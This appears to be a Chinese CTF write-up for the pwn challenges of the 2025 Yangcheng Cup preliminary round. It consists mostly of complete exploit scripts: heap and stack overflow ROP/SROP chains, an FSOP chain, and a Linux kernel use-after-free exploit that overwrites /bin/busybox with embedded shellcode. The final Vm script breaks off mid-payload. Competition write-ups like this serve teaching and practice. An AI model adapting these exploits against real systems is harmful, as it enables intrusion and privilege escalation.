
pwn· 更新于 2025-10-13
羊城杯-2025-初赛
羊城杯 2025 初赛 WP
CandS
Server 存在溢出

第一处 base64 未做长度校验,存在堆溢出
第二处红框部分虽然做了长度校验,但下面的 concat 会将两部分拼接起来,总长度还是溢出了
栈溢出正常 ORW,因为是 cs 交互,所以需要 read 一次接受 client 的输入,然后 send flag
#!/usr/bin/env python3
from pwncli import *
import json
from typing import Dict, Any, Union
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './server')
if local_flag == "remote":
addr = '45.40.247.139:28229'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./client')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
# b *0x4011E0
# ignore 1 1
# b *0x401324
# b *0x4014EF
set glibc 2.27
ida
c
'''
launch_gdb(cmd)
# if local_flag != "remote":
# gift.io = remote('127.0.0.1', 5566)
def send_json_raw(payload: Dict[str, Any]):
try:
data = json.dumps(payload, separators=(",", ":")).encode("utf-8")
s(data)
finally:
return None
def send_nan_s(nan_bytes: bytes, data: Union[Dict[str, Any], str, bytes]):
if isinstance(data, dict):
obj = dict(data)
else:
s = data if isinstance(data, str) else (data.decode("utf-8", errors="ignore"))
obj = json.loads(s)
if not isinstance(obj, dict):
raise ValueError("data must be a JSON object")
obj["NAN"] = base64.b64encode(nan_bytes).decode("ascii")
send_json_raw(obj)
def send_nan(nan_bytes: bytes, data: Union[Dict[str, Any], str, bytes]):
ru(b'Input NAN: ')
s(base64.b64encode(nan_bytes))
ru(b'Input data: ')
s(json.dumps(data, separators=(",", ":")))
json_payload = {
"header": "aa",
# "body": "bb",
"tail": base64.b64encode(b'\xff').decode("ascii"),
"uuid": 1145,
}
send_nan(b'aaa', json_payload)
ru(b'Server response: ')
ret = ru(b'\n}', timeout=999999).decode()
ret_json = json.loads(ret)
ret_gift = base64.b64decode(ret_json["GIFT"])
heap_base = int(ret_gift[ret_gift.find(b'0x') :], 16) - 0x2500
log_heap_base_addr(heap_base)
CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx = CG.pop_rdx_ret()
rbx = CG.pop_rbx_ret()
rax = CG.pop_rax_ret()
r10 = 0x45EB95
syscall = CG.syscall_ret()
lea_rcx = 0x48F72A # : lea rcx, [rax + 1]; call rbx;
mov_rsp_rcx = 0x4AD7A6 # : mov rsp, rcx; ret;
payload = flat([rbx, mov_rsp_rcx, rax, heap_base + 0x2760 - 1, lea_rcx])
payload1 = b'/flag\x00'.ljust(0x10, b'\x00') + flat([rax, 0, rdi, 4, rsi, heap_base + 0x1000, rdx, 0x400, syscall])
payload1 += flat([rax, 2, rdi, heap_base + 0x2750, rsi, 0, syscall])
payload1 += flat([rax, 40, rdi, 4, rsi, 5, rdx, 0, r10, 0x100, syscall])
json_payload = {
"header": "aa",
"body": "b" * 0xC0,
"tail": base64.b64encode(b'\x00' * 0x68 + payload + b'\xff').decode("ascii"),
"uuid": 1146,
}
send_nan(payload1, json_payload)
send_nan(b'aaa', json_payload)
ia()
baby_kk
uaf 秒了
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>
#include <sys/uio.h>
#define MAX_PIPE_COUNT 0x100
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);
for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}
void pipe_buffer_resize(){
puts("[*] pipe buffer resize");
for(int i = 0; i < MAX_PIPE_COUNT; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 4) < 0) {
perror("resize pipe");
exit(0);
}
}
}
void pipe_buffer_init(){
puts("[*] pipe buffer init");
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "Qanux", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
}
}
#define KK_ALLOC 0x1111
#define KK_FREE 0x2222
#define KK_WRITE 0x3333
#define KK_READ 0x4444
struct request {
void *user_buf;
size_t size;
size_t index;
};
struct request node;
void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
unsigned char shellcode[552] = {
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xE5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xB8, 0x2F, 0x72,
0x6F, 0x6F, 0x74, 0x2F, 0x66, 0x6C, 0x50, 0x48, 0x89, 0xE7, 0x31, 0xD2, 0x31, 0xF6, 0x6A, 0x02,
0x58, 0x0F, 0x05, 0x31, 0xC0, 0x6A, 0x03, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01, 0x01, 0x01, 0x01,
0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x0F, 0x05, 0x6A, 0x01, 0x5F, 0x6A, 0x64, 0x5A, 0xBE, 0x01,
0x01, 0x01, 0x01, 0x81, 0xF6, 0x01, 0x03, 0x01, 0x01, 0x6A, 0x01, 0x58, 0x0F, 0x05, 0x00, 0x00,
0x2E, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2E, 0x73, 0x68, 0x65, 0x6C, 0x6C,
0x63, 0x6F, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int fd;
int add(size_t index, size_t size) {
node.index = index;
node.size = size;
return ioctl(fd, KK_ALLOC, &node);
}
int del(size_t index) {
node.index = index;
return ioctl(fd, KK_FREE, &node);
}
int edit(size_t index, void *data, size_t size) {
node.user_buf = data;
node.size = size;
node.index = index;
return ioctl(fd, KK_WRITE, &node);
}
char buf[0x100];
int main(){
FILE *file;
const char *filename = "/tmp/sh";
file = fopen(filename, "w");
if (file == NULL) {
perror("Error opening file");
return 1;
}
fclose(file);
bind_core(0);
save_status();
fd = open("/dev/baby_kk",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}
spray_pipes(0, MAX_PIPE_COUNT);
puts("[*] alloc buf");
for(int i = 0; i < 0x500; i++){
add(i, 0x100);
}
puts("[*] del buf");
for(int i = 0; i < 0x500; i++){
del(i);
}
pipe_buffer_resize();
pipe_buffer_init();
puts("[*] make null byte");
memset(buf, '\x00', 0x100);
for(int i = 0; i < 0x500; i++){
edit(i, buf, 1);
}
// try to find corrupted pipe_buf
printf("[*] finding corrupted page\n");
int corrupted_index = -1, pointed_index = 0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
already_read[i] = 1;
uint32_t k = 0;
char p_buf[0x10] = { 0 };
memset(p_buf, 0, 0x10);
read(pipe_fd[i][0], p_buf, 8);
read(pipe_fd[i][0], &k, sizeof(uint32_t));
if (k != i) {
corrupted_index = i;
pointed_index = k;
printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf);
break;
}
usleep(1000);
}
if (corrupted_index == -1) {
printf("[-] failed to find corrupted page\n");
exit(0);
}
close(pipe_fd[corrupted_index][0]);
close(pipe_fd[corrupted_index][1]);
int passwd_fd[0x200];
for(int i = 0; i < 0x100; i++){
passwd_fd[i] = open("/bin/busybox", O_RDONLY);
if(passwd_fd[i] < 0){
err_exit("open file.");
}
}
size_t tmp = 0x480e801f;
write(pipe_fd[pointed_index][1], &tmp, 4);
for(int i = 0; i < 0x100; i++){
int retval = write(passwd_fd[i], shellcode, sizeof(shellcode));
if(retval > 0){
puts("write file success.");
break;
}
}
for(int i = 0; i < 0x100; i++){
close(passwd_fd[i]);
}
puts("[+] EXP END.");
return 0;
}
Malloc
uaf 秒了
程序有 double free 的校验,只需要多 free 几次就好,程序只遍历 14 次
apple3 打 orw
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '45.40.247.139:19034'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = gift.libc = ELF('./libc.so.6')
cmd = '''
brva 0x168C
brva 0x1760
brva 0x18C9
brva 0x1999
set $h = $rebase(0x5200)
set $c = $rebase(0x6200)
set $s = $rebase(0x6280)
# ida
c
'''
IAT = b'======================='
def add(idx, size):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'size', str(size))
def dele(idx):
sla(IAT, b'2')
sla(b'Index', str(idx))
def edit(idx, data, size=None):
sla(IAT, b'3')
sla(b'Index', str(idx))
if size is None:
size = len(data)
sla(b'size', str(size))
s(data)
def show(idx):
sla(IAT, b'4')
sla(b'Index', str(idx))
add(0, 0x60)
add(1, 0x60)
dele(1)
dele(0)
show(0)
code_base = u64_ex(ru(b'\nSuccess', drop=True)[-6:]) - 0x5270
set_current_code_base_and_log(code_base)
for i in range(15):
add(i, 0x60)
for i in range(15):
dele(i)
dele(0)
add(0, 0x60)
edit(0, p64(code_base + 0x6200 - 0x10))
for i in range(15):
add(i + 1, 0x60)
add(15, 0x60)
edit(15, p64(code_base + 0x40E0))
show(0)
libc_base = u64_ex(ru(b'\nSuccess', drop=True)[-6:]) - 0x21B6A0
set_current_libc_base_and_log(libc_base)
fake_IO_FILE = code_base + 0x6900
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := code_base),
0x70: (_rsi := 0x20000),
0x88: (_rdx := 7),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc.sym.mprotect),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: ShellcodeMall.amd64.cat_flag,
},
filler=b'\x00',
)
IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
},
filler=b'\x00',
)
edit(
15,
p64(libc.sym._IO_list_all)
+ p64(fake_IO_FILE)
+ p64(fake_IO_FILE + 0x60)
+ p64(fake_IO_FILE + 0x60 * 2)
+ p64(fake_IO_FILE + 0x60 * 3)
+ p64(fake_IO_FILE + 0x60 * 4)
+ p64(fake_IO_FILE + 0x60 * 5)
+ p64(fake_IO_FILE + 0x60 * 6),
)
edit(0, p64(fake_IO_FILE))
edit(1, IO_payload[:0x60])
edit(2, IO_payload[0x60 : 0x60 * 2])
edit(3, IO_payload[0x60 * 2 : 0x60 * 3])
edit(4, IO_payload[0x60 * 3 : 0x60 * 4])
edit(5, IO_payload[0x60 * 4 : 0x60 * 5])
edit(6, IO_payload[0x60 * 5 : 0x60 * 6])
launch_gdb(cmd)
ia()
Stack_Over_Flow
栈溢出,带 syscall,srop
还可以直接利用sub_12C9将 rax 设为 stdout,再调到 puts 泄露0x163A
泄露出的 main 直接爆破到末位是 6B0 即可
#!/usr/bin/env python3
from pwncli import *
import ctypes
clibc = ctypes.CDLL('libc.so.6')
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './Stack_Over_Flow')
if local_flag == "remote":
addr = '45.40.247.139:32494'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
clibc.srand(clibc.time(0))
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
brva 0x1693
set $b = $rebase(0x4010)
c
'''
n2 = 0
while n2 <= 2:
n2 = clibc.rand() % 5
n2 = n2 & 0xFFFFFFFFFFFFFFFF
log_ex(f'n2 = {n2}')
ru(b'Good luck!\n')
s(b'\x00' * 0x108 + b'\x5f')
ru(b'magic number:')
code_base = int(ru(b'\n', drop=True), 10)
for i in range(3, 6):
t = code_base // i
if (t & 0xFFF) == 0x6B0:
code_base = t - 0x16B0
break
# code_base = (int(ru(b'\n', drop=True), 10) // n2) - 0x16B0
set_current_code_base_and_log(code_base)
launch_gdb(cmd)
CG.set_find_area(True, False)
syscall_ret8 = code_base + 0x134F #: syscall; nop; add rsp, 8; ret;
ret = CG.ret()
rbp = CG.pop_rbp_ret()
n2_0 = code_base + 0x160A
payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([n2_0, 0, syscall_ret8, 0, syscall_ret8])
sigFrame = SigreturnFrame()
sigFrame.rax = 0
sigFrame.rdi = 0
sigFrame.rsi = code_base + 0x4200
sigFrame.rdx = 0x2000
sigFrame.rip = syscall_ret8
sigFrame.rsp = code_base + 0x4200
payload += bytes(sigFrame)
ru(b'Good luck!\n')
s(payload)
pause()
s(b'a' * 15)
pause()
payload = b'\x00' * 0x8
payload += flat([n2_0, 0, code_base + 0x161F])
payload += p64(code_base + 0x161F) * 0x8 + b'/flag\x00'
s(payload)
payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([n2_0, 0, syscall_ret8, 0, syscall_ret8])
sigFrame = SigreturnFrame()
sigFrame.rax = 1
sigFrame.rdi = 1
sigFrame.rsi = code_base + 0x4080
sigFrame.rdx = 0x10
sigFrame.rip = syscall_ret8
sigFrame.rsp = code_base + 0x4218
payload += bytes(sigFrame)
ru(b'Good luck!\n')
s(payload)
pause()
s(b'a' * 15)
libc_base = u64_ex(ru(b'\x00' * 10, drop=True)) - 0x21B6A0
set_current_libc_base_and_log(libc_base)
CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
rax = CG.pop_rax_ret()
payload = b'\x00' * 0x100
payload += p64(code_base + 0x4100)
payload += flat([rsi, code_base + 0x4260, rdi, -100, rdx_rbx, 0, 0, libc.sym.openat])
payload += flat([rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc.sym.sendfile])
ru(b'Good luck!\n')
s(payload)
ia()
Vm
各种地方都有溢出,利用 read/write泄露出libc,改stack ROP
trae 逆就完了
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './vvmm')
if local_flag == "remote":
addr = '45.40.247.139:32703'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
# b *0x402A44
# reg
b *0x402A05
# stack
b *0x402A1A
# reg stack
b *0x402AA4
ida
c
set $tmp = *(void **)((char *)&main_arena + 0x60)
set $r = (void *)((char *)$tmp - 0x60)
set $d = (void *)((char *)$tmp - 0x70)
'''
launch_gdb(cmd)
def gen_op(mode: int, op_id: int, *args) -> bytes:
"""
mode: 0..3(低2位);op_id: 0..63(高6位)
返回:按 VM 编码规则生成的指令字节串
- mode=0: 需要 1 个参数 imm24(支持有符号,相对跳转/调用等)
- mode=1: 需要 1 个参数 reg(0..6)
- mode=2: 需要 2 个参数 regA, regB(均 0..6)
- mode=3: 需要 2 个参数 regA(0..6), imm32(32位,小端)
"""
if not (0 <= mode <= 3):
raise ValueError("mode 必须在 [0..3]")
if not (0 <= op_id <= 63):
raise ValueError("op_id 必须在 [0..63]")
byte0 = ((op_id & 0x3F) << 2) | (mode & 0x03)
out = bytearray([byte0])
def _reg(x):
r = int(x)
if not (0 <= r <= 6):
raise ValueError("寄存器编号必须在 [0..6]")
return r & 0xFF
if mode == 0:
# imm24:3字节,大端;最高位为“符号位”(1=负),其余 23 位为幅值
if len(args) != 1:
raise ValueError("mode=0 需要 1 个参数: imm24")
imm = int(args[0])
sign = 1 if imm < 0 else 0
mag = -imm if imm < 0 else imm
if mag > 0x7FFFFF:
raise ValueError("imm24 超出 23 位幅值范围")
u24 = (sign << 23) | mag
out.extend([(u24 >> 16) & 0xFF, (u24 >> 8) & 0xFF, u24 & 0xFF])
elif mode == 1:
# 单寄存器
if len(args) != 1:
raise ValueError("mode=1 需要 1 个参数: reg")
out.append(_reg(args[0]))
elif mode == 2:
# 双寄存器 regA, regB
if len(args) != 2:
raise ValueError("mode=2 需要 2 个参数: regA, regB")
out.append(_reg(args[0]))
out.append(_reg(args[1]))
elif mode == 3:
# regA + imm32(小端)
if len(args) != 2:
raise ValueError("mode=3 需要 2 个参数: regA, imm32")
out.append(_reg(args[0]))
imm32 = int(args[1]) & 0xFFFFFFFF
out.extend(struct.pack('<I', imm32))
return bytes(out)
'''
输入格式
- 指令流来源: read(0, buf_, 0x800) ,最多 0x800 字节。
- 程序计数器: PC 初始为 0;每次取指都会递增。
- 指令首字节:高 6 位为 op_id ,低 2 位为寻址/操作模式 mode 。
- byte0 = (op_id << 2) | mode
- 操作数读取(随 mode 变化):
- mode=0 (A 类):紧跟 3 字节 imm24 (大端拼接)。
- mode=1 (B 类):紧跟 1 字节 reg (寄存器编号)。
- mode=2 (C 类):紧跟 2 字节: regA 、 regB 。
- mode=3 (D 类):紧跟 1 字节 regA + 4 字节 imm32 (从代码区按 32 位读,宿主小端)。
- 寄存器范围: reg ∈ [0..6] ,否则视为非法(终止)。寄存器映射为 R0..R6 对应 s[2]..s[8] ,其中 R6 实际就是“栈指针/数据指针” SP=s[8] 。
- 旗标(比较结果):由比较指令设置 flag (存于 *((uint8*)s+72) ),值域: 0=eq 、 1=lt 、 2=gt 。
- 访存基址:所有内存访问都以 base=*s (即 buf_ 起始)为基址,地址为 base + offset 。
- 运行结束条件: PC>0x800 或 SP>0x1000 会报错退出;若访问检查失败(见下文的 sub_401215 ),会打印 Insecurity 并退出。
Mode 0(A 类:控制流/栈/系统调用,操作数: imm24 )
- op 36 ('$') : SP -= 4*imm24
- op 37 ('%') : SP += 4*imm24
- op 41 (')') :无条件相对跳转 PC += ±imm24
- op 42 ('*') : je ( flag==0 )相对跳转
- op 43 ('+') : jg ( flag==2 )相对跳转
- op 44 (',') : jl ( flag==1 )相对跳转
- op 45 ('-') : jge ( flag∈{2,0} )相对跳转
- op 46 ('.') : jle ( flag∈{1,0} )相对跳转
- op 47 ('/') : jne ( flag!=0 )相对跳转
- op 48 ('0') : call 相对调用(先将返回地址 PC 压栈,再 PC += ±imm24 )
- op 51 ('3') :IO/退出(直接用寄存器参数): io(op, R0, R1, R2)
- op 52 ('4') :IO/退出( fd 取自内存 *(base+R0) )
- op 53 ('5') :IO/退出( buf 取自内存 *(base+R1) )
- op 54 ('6') :IO/退出( n 取自内存 *(base+R2) )
- op 55 ('7') :IO/退出( fd 、 buf 从内存取)
- op 56 ('8') :IO/退出( fd 、 n 从内存取)
- op 57 ('9') :IO/退出( buf 、 n 从内存取)
- op 58 (':') :IO/退出(三个参数都从内存取)
- op 59 (';') : ret imm24 ( PC = *(base+SP) ; SP += 4*(imm24+1) )
- IO/退出的 op (传入 sub_4014AF 的第一个参数)含义: 0=read(fd, buf, n) 、 1=write(fd, buf, n) 、 2=exit(status=fd) 。
Mode 1(B 类:单寄存器/栈/基于寄存器的跳转,操作数: reg )
- op 31 : push R[reg] 到 *(base+SP) , SP+=-4
- op 32 : pop -> R[reg] , SP+=+4
- op 33 : inc R[reg]
- op 34 : dec R[reg]
- op 35 : R[reg] = SP
- op 41..47 :与上面的条件跳转同义,但跳转目标为寄存器值: PC = R[reg] (满足条件时)
- op 48 ('0') : call imm8 (压栈当前 PC ,然后 PC = imm8 )
Mode 2(C 类:双寄存器,操作数: regA, regB )
- op 1 : cmpu R[A] ? R[B] (无符号比较,设置 flag )
- op 2 : cmps R[A] ? R[B] (有符号比较,设置 flag )
- op 3 : R[A] = R[B]
- op 4 : R[A] ^= R[B]
- op 5 : R[A] |= R[B]
- op 6 : R[A] &= R[B]
- op 7 : R[A] <<= R[B]
- op 8 : R[A] >>= R[B]
- op 9 : swap R[A], R[B]
- op 10 : R[A] += R[B]
- op 11 : R[A] -= R[B]
- op 12 : R[A] = *(u8*)(base + R[B]) (先检查 R[B] <= 0x1000 )
- op 13 : R[A] = *(u16*)(base + R[B])
- op 14 : R[A] = *(u32*)(base + R[B])
- op 15 : *(u8*)(base + R[B]) = R[A] (检查 R[B] )
- op 16 : *(u16*)(base + R[B]) = R[A]
- op 17 : *(u32*)(base + R[B]) = R[A]
Mode 3(D 类:寄存器 + 立即数,操作数: regA, imm32 )
- op 1 : cmpu R[A] ? imm32 (无符号,设 flag )
- op 2 : cmps R[A] ? imm32 (有符号,设 flag )
- op 3 : R[A] = imm32
- op 4 : R[A] ^= imm32
- op 5 : R[A] |= imm32
- op 6 : R[A] &= imm32
- op 7 : R[A] <<= imm32
- op 8 : R[A] >>= imm32
- op 10 : R[A] += imm32
- op 11 : R[A] -= imm32
- op 12 : R[A] = *(u8*)(base + imm32) (检查 imm32 <= 0x1000 )
- op 13 : R[A] = *(u16*)(base + imm32)
- op 14 : R[A] = *(u32*)(base + imm32)
- op 15 : *(u8*)(base + R[A]) = (uint8)imm32
- op 16 : *(u16*)(base + R[A]) = (uint16)imm32
- op 17 : *(u32*)(base + R[A]) = imm32
'''
payload = b''
payload += gen_op(3, 3, 0, 1)
payload += gen_op(3, 3, 1, 0x405048)
payload += gen_op(3, 3, 2, 0x8)
payload += gen_op(0, 51, 1)
payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, 0x4050A0)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)
# payload += gen_op(0, 36, (0x1000 + 0x58) // 4)
# payload += gen_op(1, 32, 1)
# payload += gen_op(1, 32, 2)
ru(b'Please input your opcodes:\n')
s(payload)
libc_base = u64_ex(r(8)) - libc.sym.malloc
set_current_libc_base_and_log(libc_base)
environ = libc.sym.environ
payload += gen_op(3, 3, 0, 1)
payload += gen_op(3, 3, 1, environ & 0xFFFFFFFF)
payload += gen_op(3, 3, 2, (environ >> 32) & 0xFFFFFFFF)
